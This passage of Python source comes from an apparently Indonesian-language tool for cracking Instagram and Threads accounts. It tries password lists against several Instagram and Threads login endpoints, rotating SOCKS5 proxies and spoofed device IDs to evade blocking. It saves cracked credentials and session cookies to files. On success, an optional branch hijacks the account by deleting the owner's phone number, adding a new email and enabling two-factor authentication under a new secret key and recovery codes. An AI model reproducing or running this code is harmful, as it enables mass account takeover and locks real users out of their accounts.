  714.                     'x-ig-family-device-id': f'{str(uuid.uuid4())}',
  715.                     'user-agent': ua_generate,
  716.                     'accept-language': 'id-ID, en-US',
  717.                     'x-bloks-is-layout-rtl': 'false',
  718.                     'x-ig-device-id': f'{str(uuid.uuid4())}',
  719.                     'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  720.                     'Host': 'b.i.instagram.com',
  721.                     'x-fb-http-engine': 'Liger',
  722.                     'x-fb-client-ip': 'True',
  723.                     'x-fb-server-cluster': 'True',
  724.                     'x-fb-connection-type': 'MOBILE.LTE',
  725.                     'connection': 'keep-alive',
  726.                     'cookie': (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  727.                 }
  728.                 encode = (f'params=%7B%22client_input_params%22%3A%7B%22device_id%22%3A%22android-{hash.hexdigest()[:16]}%22%2C%22login_attempt_count%22%3A1%2C%22secure_family_device_id%22%3A%22%22%2C%22machine_id%22%3A%22%22%2C%22accounts_list%22%3A%5B%5D%2C%22auth_secure_device_id%22%3A%22%22%2C%22password%22%3A%22%23PWD_INSTAGRAM%3A0%3A{str(int(datetime.datetime.now().timestamp()))}%3A{urllib.request.quote(str(passwd))}%22%2C%22family_device_id%22%3A%22{str(uuid.uuid4())}%22%2C%22fb_ig_device_id%22%3A%5B%5D%2C%22device_emails%22%3A%5B%5D%2C%22try_num%22%3A3%2C%22event_flow%22%3A%22login_manual%22%2C%22event_step%22%3A%22home_page%22%2C%22openid_tokens%22%3A%7B%7D%2C%22client_known_key_hash%22%3A%22%22%2C%22contact_point%22%3A%22{urllib.request.quote(str(username))}%22%2C%22encrypted_msisdn%22%3A%22%22%7D%2C%22server_params%22%3A%7B%22username_text_input_id%22%3A%22p5hbnc%3A46%22%2C%22device_id%22%3A%22android-{hash.hexdigest()[:16]}%22%2C%22should_trigger_override_login_success_action%22%3A0%2C%22server_login_source%22%3A%22login%22%2C%22waterfall_id%22%3A%22{str(uuid.uuid4())}%22%2C%22login_source%22%3A%22Login%22%2C%22INTERNAL__latency_qpl_instance_id%22%3A152086072800150%2C%22reg_flow_source%22%3A%22login_home_native_integration_point%22%2C%22is_platform_login%22%3A0%2C%22is_caa_perf_enabled%22%3A0%2C%22credential_type%22%3A%22password%22%2C%22family_device_id%22%3A%22{str(uuid.uuid4())}%22%2C%22INTERNAL__latency_qpl_marker_id%22%3A36707139%2C%22offline_experiment_group%22%3A%22caa_iteration_v3_perf_ig_4%22%2C%22INTERNAL_INFRA_THEME%22%3A%22harm_f%22%2C%22password_text_input_id%22%3A%22p5hbnc%3A47%22%2C%22ar_event_source%22%3A%22login_home_page%22%7D%7D&\bk_client_context=%7B%22bloks_version%22%3A%225f56efad68e1edec7801f630b5c122704ec5378adbee6609a448f105f34a9c73%22%2C%22styles_id%22%3A%22instagram%22%7D&bloks_versioning_id=5f56efad68e1edec7801f630b5c122704ec5378adbee6609a448f105f34a9c73')
  729.                 proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  730.                 response = byps.post('https://b.i.instagram.com/api/v1/bloks/apps/com.bloks.www.bloks.caa.login.async.send_login_request/', data = encode, headers = headers, proxies = proxs, allow_redirects=True).text
  731.                 self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
  732.                 if 'Bearer IGT:2:' in str(response.replace('\\', '')) and '"pk_id":' in str(response.replace('\\', '')):
  733.                     self.success+=1
  734.                     try: cookie = re.search('"IG-Set-Authorization": "(.*?)"', str(response.replace('\\', ''))).group(1)
  735.                     except (Exception) as e: cookie = (None)
  736.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  737.                     except (UnboundLocalError) as e: pass
  738.                     if 'ya' in self.amankan_akun:
  739.                         try:
  740.                             num = Require().DeltPhone(cookie)
  741.                             statp, pone = num['Dihapus'], num['Number']
  742.                             deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
  743.                             two = Require().Aktifkan2F(cookie)
  744.                             kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
  745.                             stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
  746.                             Temp = Require().AddMail(cookie)
  747.                             email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
  748.                             statd = 'Di Kofirmasi' if state is True else 'Tidak Di Konfirmasi'
  749.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  750.                             true = tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  751.                             true.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  752.                             truu = tree.add(Panel.fit("[bold green]SECURE ACCOUNT", style = "bold grey50"), style="bold white")
  753.                             truu.add(Columns([Panel(f"[bold green]{deleted}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold green]Hapus Nomor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold green]{email} {statd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold green]Tambah Email[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  754.                             truu.add(Panel(f"[bold green]{inbx}", style = "bold grey50", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold green]Web Email[bold grey50]) [bold green]<[bold yellow]<[bold red]<", width=61))
  755.                             truu.add(Columns([Panel(f"[bold green]{stat2fa}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold green]Two Faktor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold green]{key}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold green]Secreet Key[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  756.                             truu.add(Panel(f"[bold green]{kode}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold green]Kode Pemulihan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  757.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61)).add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  758.                             printz(tree)
  759.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
  760.                         except Exception as e:
  761.                             print(e)
  762.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  763.                             tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  764.                             tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  765.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  766.                             tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  767.                             printz(tree)
  768.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  769.                     else:
  770.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  771.                         tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  772.                         tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  773.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  774.                         tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  775.                         printz(tree)
  776.                         save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  777.                     with open('/sdcard/OK/'+self.result_ok,'a') as wr:
  778.                         wr.write(save)
  779.                         wr.close()
  780.                     break      
  781.                 elif 'two_factor_required' in str(response):
  782.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  783.                     except (UnboundLocalError) as e: pass
  784.                     tree = Tree(Panel.fit("[bold red]LOGIN TWO FAKTOR", style = "bold grey50"), style="bold white")
  785.                     tree.add(Columns([Panel(f"[bold red]{username}", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", style = "bold grey50", width=30)]))
  786.                     tree.add(Columns([Panel(f"[bold red]{follower}", style = "bold grey50", width=19), Panel(f"[bold red]{followed}", style = "bold grey50", width=21), Panel(f"[bold red]{feedpost}", style = "bold grey50", width=19)]))
  787.                     tree.add(Panel(f"[bold red]{headers['user-agent']}", style = "bold grey50", width=61))
  788.                     printz(tree)
  789.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  790.                     self.faktor+=1
  791.                     with open('/sdcard/2F/'+self.result_two,'a') as wr:
  792.                         wr.write(save)
  793.                         wr.close()  
  794.                     break
  795.                 elif 'challenge_required' in str(response):
  796.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  797.                     except (UnboundLocalError) as e: pass
  798.                     tree = Tree(Panel.fit("[bold yellow]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  799.                     tree.add(Columns([Panel(f"[bold yellow]{username}", style = "bold grey50", width=30), Panel(f"[bold yellow]{passwd}", style = "bold grey50", width=30)]))
  800.                     tree.add(Columns([Panel(f"[bold yellow]{follower}", style = "bold grey50", width=19), Panel(f"[bold yellow]{followed}", style = "bold grey50", width=21), Panel(f"[bold yellow]{feedpost}", style = "bold grey50", width=19)]))
  801.                     tree.add(Panel(f"[bold yellow]{headers['user-agent']}", style = "bold grey50", width=61))
  802.                     printz(tree)
  803.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  804.                     self.chekpoint+=1
  805.                     with open('/sdcard/CP/'+self.result_cp,'a') as wr:
  806.                         wr.write(save)
  807.                         wr.close()
  808.                     break    
  809.                 elif 'ip_block' in str(response):
  810.                     Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  811.                     time.sleep(3.5)    
  812.                 else: continue    
  813.             except (KeyboardInterrupt, requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
  814.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  815.                 time.sleep(31)
  816.                 self.ExecApi_Threads(username, password)
  817.         self.looping+=1
  818.            
  819.     def ExecAjax(self, username, password):
  820.         byps = requests.Session()
  821.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold white]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold white]{str(len(dump))}[bold grey50]/[bold white]{self.looping}[bold grey50]/[bold white] Ok:-[bold green]{self.success}[bold white] 2f:-[bold red]{self.faktor}[bold white] Cp:-[bold yellow]{self.chekpoint}[bold white]     ", end='\r')
  822.         ua_generate = Useragent().useragent_ajax()
  823.         for passwd in password:
  824.             try:
  825.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  826.                 else: ua_generate
  827.                 curl = byps.get('https://www.instagram.com/accounts/login/?source=auth_switcher', headers = {"user-agent":ua_generate}, allow_redirects=True)
  828.                 try: csrftoken = re.search('{"csrf_token":"(.*?)"', str(curl.text)).group(1)
  829.                 except: csrftoken = None
  830.                 headers = {
  831.                     'Host': 'www.instagram.com',
  832.                     'vary': 'Accept-Encoding',
  833.                     'x-fb-debug':'X+2SLtmnrCBfsBDb/pVlP8IRXmPriN3g+iTxoPj6Ol2jUJz5zs8I0ghgR7yekWJhRwO06oxty5Ba+4h9P8vD2Q==',
  834.                     'content-length': '0',
  835.                     'x-ig-app-id': '1217981644879628',
  836.                     'x-instagram-ajax': '1011794706',
  837.                     'user-agent': ua_generate,
  838.                     'sec-ch-ua-mobile': '?0',
  839.                     'content-type': 'application/x-www-form-urlencoded;charset=UTF-8',
  840.                     'x-asbd-id': '129477',
  841.                     'dpr': '2',
  842.                     'x-csrftoken': csrftoken,
  843.                     'x-requested-with': 'XMLHttpRequest',
  844.                     'accept': '*/*',
  845.                     'origin': 'https://www.instagram.com',
  846.                     'sec-fetch-site': 'same-origin',
  847.                     'sec-fetch-mode': 'cors',
  848.                     'sec-fetch-user': '0',
  849.                     'sec-fetch-dest': 'empty',
  850.                     'referer': 'https://www.instagram.com/accounts/onetap/?next=%2F&hl=en',
  851.                     'accept-encoding': 'gzip, deflate',
  852.                     'accept-language': 'en-US,id-ID,id;q=0.9',
  853.                     'connection': 'close',
  854.                     'range':'bytes=0-2048'
  855.                 }
  856.                 payload = {
  857.                     'username': username,
  858.                     'enc_password': '#PWD_INSTAGRAM_BROWSER:0:{}:{}'.format(int(time.time()),passwd),
  859.                     'optIntoOneTap': False,
  860.                     'queryParams': '{"source":"auth_switcher"}',
  861.                     'stopDeletionNonce': '',
  862.                     'trustedDeviceRecords': {},
  863.                     'next': 'https://www.instagram.com/accounts/access_tool/logins'
  864.                 }
  865.                 proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  866.                 response = byps.post('https://www.instagram.com/api/v1/web/accounts/login/ajax/', data = payload, headers = headers, allow_redirects=True).text
  867.                 self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
  868.                 if 'userId' in str(response):
  869.                     self.success+=1
  870.                     try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
  871.                     except (Exception) as e: cookie = (None)
  872.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  873.                     except (UnboundLocalError) as e: pass
  874.                     if 'ya' in self.amankan_akun:
  875.                         try:
  876.                             num = Require().DeltPhone(cookie)
  877.                             statp, pone = num['Dihapus'], num['Number']
  878.                             deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
  879.                             two = Require().Aktifkan2F(cookie)
  880.                             kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
  881.                             stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
  882.                             Temp = Require().AddMail(cookie)
  883.                             email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
  884.                             statd = 'Di Kofirmasi' if state is True else 'Tidak Di Konfirmasi'
  885.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  886.                             true = tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  887.                             true.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  888.                             truu = tree.add(Panel.fit("[bold green]SECURE ACCOUNT", style = "bold grey50"), style="bold white")
  889.                             truu.add(Columns([Panel(f"[bold green]{deleted}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold green]Hapus Nomor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold green]{email} {statd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold green]Tambah Email[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  890.                             truu.add(Panel(f"[bold green]{inbx}", style = "bold grey50", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold green]Web Email[bold grey50]) [bold green]<[bold yellow]<[bold red]<", width=61))
  891.                             truu.add(Columns([Panel(f"[bold green]{stat2fa}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold green]Two Faktor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold green]{key}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold green]Secreet Key[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  892.                             truu.add(Panel(f"[bold green]{kode}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold green]Kode Pemulihan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  893.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61)).add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  894.                             printz(tree)
  895.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
  896.                         except Exception as e:
  897.                             print(e)
  898.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  899.                             tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  900.                             tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  901.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  902.                             tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  903.                             printz(tree)
  904.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  905.                     else:
  906.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  907.                         tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  908.                         tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  909.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  910.                         tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  911.                         printz(tree)
  912.                         save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  913.                     with open('/sdcard/OK/'+self.result_ok,'a') as wr:
  914.                         wr.write(save)
  915.                         wr.close()
  916.                     break      
  917.                 elif 'two_factor_required' in str(response):
  918.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  919.                     except (UnboundLocalError) as e: pass
  920.                     tree = Tree(Panel.fit("[bold red]LOGIN TWO FAKTOR", style = "bold grey50"), style="bold white")
  921.                     tree.add(Columns([Panel(f"[bold red]{username}", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", style = "bold grey50", width=30)]))
  922.                     tree.add(Columns([Panel(f"[bold red]{follower}", style = "bold grey50", width=19), Panel(f"[bold red]{followed}", style = "bold grey50", width=21), Panel(f"[bold red]{feedpost}", style = "bold grey50", width=19)]))
  923.                     tree.add(Panel(f"[bold red]{headers['user-agent']}", style = "bold grey50", width=61))
  924.                     printz(tree)
  925.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  926.                     self.faktor+=1
  927.                     with open('/sdcard/2F/'+self.result_two,'a') as wr:
  928.                         wr.write(save)
  929.                         wr.close()  
  930.                     break
  931.                 elif 'challenge_required' in str(response):
  932.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  933.                     except (UnboundLocalError) as e: pass
  934.                     tree = Tree(Panel.fit("[bold yellow]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  935.                     tree.add(Columns([Panel(f"[bold yellow]{username}", style = "bold grey50", width=30), Panel(f"[bold yellow]{passwd}", style = "bold grey50", width=30)]))
  936.                     tree.add(Columns([Panel(f"[bold yellow]{follower}", style = "bold grey50", width=19), Panel(f"[bold yellow]{followed}", style = "bold grey50", width=21), Panel(f"[bold yellow]{feedpost}", style = "bold grey50", width=19)]))
  937.                     tree.add(Panel(f"[bold yellow]{headers['user-agent']}", style = "bold grey50", width=61))
  938.                     printz(tree)
  939.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  940.                     self.chekpoint+=1
  941.                     with open('/sdcard/CP/'+self.result_cp,'a') as wr:
  942.                         wr.write(save)
  943.                         wr.close()
  944.                     break    
  945.                 elif 'ip_block' in str(response):
  946.                     Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  947.                     time.sleep(3.5)    
  948.                 else: continue  
  949.             except (KeyboardInterrupt, requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
  950.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  951.                 time.sleep(31)
  952.                 self.ExecAjax(username, password)
  953.         self.looping+=1
  954.        
  955.     def ExecAjax_Threads(self, username, password):
  956.         byps = requests.Session()
  957.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold white]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold white]{str(len(dump))}[bold grey50]/[bold white]{self.looping}[bold grey50]/[bold white] Ok:-[bold green]{self.success}[bold white] 2f:-[bold red]{self.faktor}[bold white] Cp:-[bold yellow]{self.chekpoint}[bold white]     ", end='\r')
  958.         ua_generate = Useragent().useragent_ajax()
  959.         for passwd in password:
  960.             try:
  961.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  962.                 else: ua_generate
  963.                 curl = byps.get('https://www.threads.net/accounts/onetap/?next=%2F&hl=en', headers = {'user-agent':ua_generate}, allow_redirects=True)
  964.                 try: csrftoken = re.search('{"csrf_token":"(.*?)"', str(curl.text)).group(1)
  965.                 except: csrftoken = None
  966.                 headers = {
  967.                     'Host': 'www.instagram.com',
  968.                     'vary': 'Accept-Encoding',
  969.                     'x-fb-debug':'X+2SLtmnrCBfsBDb/pVlP8IRXmPriN3g+iTxoPj6Ol2jUJz5zs8I0ghgR7yekWJhRwO06oxty5Ba+4h9P8vD2Q==',
  970.                     'content-length': '0',
  971.                     'x-ig-app-id': '1217981644879628',
  972.                     'x-instagram-ajax': '1011794706',
  973.                     'user-agent': ua_generate,
  974.                     'sec-ch-ua-mobile': '?0',
  975.                     'content-type': 'application/x-www-form-urlencoded;charset=UTF-8',
  976.                     'x-asbd-id': '129477',
  977.                     'dpr': '2',
  978.                     'x-csrftoken': csrftoken,
  979.                     'x-requested-with': 'XMLHttpRequest',
  980.                     'accept': '*/*',
  981.                     'origin': 'https://www.threads.net',
  982.                     'sec-fetch-site': 'same-origin',
  983.                     'sec-fetch-mode': 'cors',
  984.                     'sec-fetch-user': '0',
  985.                     'sec-fetch-dest': 'empty',
  986.                     'referer': 'https://www.threads.net/accounts/onetap/?next=%2F&hl=en',
  987.                     'accept-encoding': 'gzip, deflate',
  988.                     'accept-language': 'en-US,id-ID,id;q=0.9',
  989.                     'connection': 'close',
  990.                     'range':'bytes=0-2048'
  991.                 }
  992.                 payload = {
  993.                     'enc_password': '#PWD_INSTAGRAM_BROWSER:0:{}:{}'.format(int(time.time()),passwd),
  994.                     'optIntoOneTap':'false',
  995.                     'queryParams':'{"hl":"en"}',
  996.                     'trustedDeviceRecords':'{}',
  997.                     'username': username,
  998.                     'next': 'https://www.threads.net/accounts/access_tool/logins'
  999.                 }
  1000.                 response = byps.post('https://www.threads.net/api/v1/web/accounts/login/ajax/', data = payload, headers = headers).text
  1001.                 self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
  1002.                 if 'userId' in str(response):
  1003.                     self.success+=1
  1004.                     try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
  1005.                     except (Exception) as e: cookie = (None)
  1006.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1007.                     except (UnboundLocalError) as e: pass
  1008.                     if 'ya' in self.amankan_akun:
  1009.                         try:
  1010.                             num = Require().DeltPhone(cookie)
  1011.                             statp, pone = num['Dihapus'], num['Number']
  1012.                             deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
  1013.                             two = Require().Aktifkan2F(cookie)
  1014.                             kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
  1015.                             stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
  1016.                             Temp = Require().AddMail(cookie)
  1017.                             email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
  1018.                             statd = 'Di Kofirmasi' if state is True else 'Tidak Di Konfirmasi'
  1019.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1020.                             true = tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  1021.                             true.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  1022.                             truu = tree.add(Panel.fit("[bold green]SECURE ACCOUNT", style = "bold grey50"), style="bold white")
  1023.                             truu.add(Columns([Panel(f"[bold green]{deleted}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold green]Hapus Nomor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold green]{email} {statd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold green]Tambah Email[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1024.                             truu.add(Panel(f"[bold green]{inbx}", style = "bold grey50", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold green]Web Email[bold grey50]) [bold green]<[bold yellow]<[bold red]<", width=61))
  1025.                             truu.add(Columns([Panel(f"[bold green]{stat2fa}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold green]Two Faktor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold green]{key}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold green]Secreet Key[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1026.                             truu.add(Panel(f"[bold green]{kode}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold green]Kode Pemulihan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1027.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61)).add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  1028.                             printz(tree)
  1029.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
  1030.                         except Exception as e:
  1031.                             print(e)
  1032.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1033.                             tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  1034.                             tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  1035.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1036.                             tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  1037.                             printz(tree)
  1038.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  1039.                     else:
  1040.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1041.                         tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  1042.                         tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  1043.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1044.                         tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  1045.                         printz(tree)
  1046.                         save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  1047.                     with open('/sdcard/OK/'+self.result_ok,'a') as wr:
  1048.                         wr.write(save)
  1049.                         wr.close()
  1050.                     break      
  1051.                 elif 'two_factor_required' in str(response):
  1052.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1053.                     except (UnboundLocalError) as e: pass
  1054.                     tree = Tree(Panel.fit("[bold red]LOGIN TWO FAKTOR", style = "bold grey50"), style="bold white")
  1055.                     tree.add(Columns([Panel(f"[bold red]{username}", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", style = "bold grey50", width=30)]))
  1056.                     tree.add(Columns([Panel(f"[bold red]{follower}", style = "bold grey50", width=19), Panel(f"[bold red]{followed}", style = "bold grey50", width=21), Panel(f"[bold red]{feedpost}", style = "bold grey50", width=19)]))
  1057.                     tree.add(Panel(f"[bold red]{headers['user-agent']}", style = "bold grey50", width=61))
  1058.                     printz(tree)
  1059.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
